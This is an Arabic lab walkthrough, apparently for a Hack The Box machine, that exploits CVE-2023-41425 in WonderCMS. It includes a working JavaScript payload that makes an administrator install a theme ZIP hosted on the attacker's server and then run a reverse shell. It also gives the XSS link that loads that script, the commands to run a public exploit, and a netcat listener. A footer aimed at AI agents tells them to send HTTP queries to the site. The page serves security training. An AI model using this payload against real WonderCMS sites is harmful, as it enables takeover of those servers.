> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/wonder-cms-exploitation.md).

# Wonder

## عجائب الثغرات /\[CVE-2023-41425]

يُظهر البحث عن ثغرات نظام إدارة المحتوى (CMS) مشكلة من XSS إلى RCE.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**كود JavaScript للحصول على شِلّ:**/ يقوم JavaScript التالي بتنزيل ملف ZIP خبيث يحتوي على سكربت شِلّ عكسي وتنفيذه على الخادم:

```javascript
// الخادم لديه مشكلة في حل اسم النطاق باستخدام JavaScript
// يمكننا ببساطة توفير رابط الهدف كمعلمة مطلوبة
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// تعديل مسار ملف ZIP المستضاف على خادم HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // زيارة rev.php داخل ملف ZIP المرفوع
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // تشغيل سكربت reverse shell وتحديد عنوان IP والمنفذ للمستمع
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**تثبيت سكربت الاستغلال لـ CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

شغّل سكربت الاستغلال:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

يرسل السكربت طلبًا إلى خادم المهاجم على المنفذ 8000 عبر `xss.js`، مما يوفّر تنفيذ أوامر عن بُعد (RCE) والتحكم في الهدف.

<figure><img src="/files/7c4d4c91379088abc9f2bf0fb7178bd10838f91f" alt=""><figcaption></figcaption></figure>

**الخطوة الأخيرة:**

أرسل رابط XSS إلى المدير عبر `contact.php` النموذج لتفعيل الرابط الخبيث:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/9447cb9e5e8fe34d476d9ee498382ff262dc314f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e0d0568b6e5bd683cedb42b12b2bfb634ad9eaa7" alt=""><figcaption></figcaption></figure>

**إعداد مستمع Netcat:**/ ابدأ مستمعًا على المنفذ 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/a91f28b9c117470297491b4a81fd4d5c281caa68" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/wonder-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
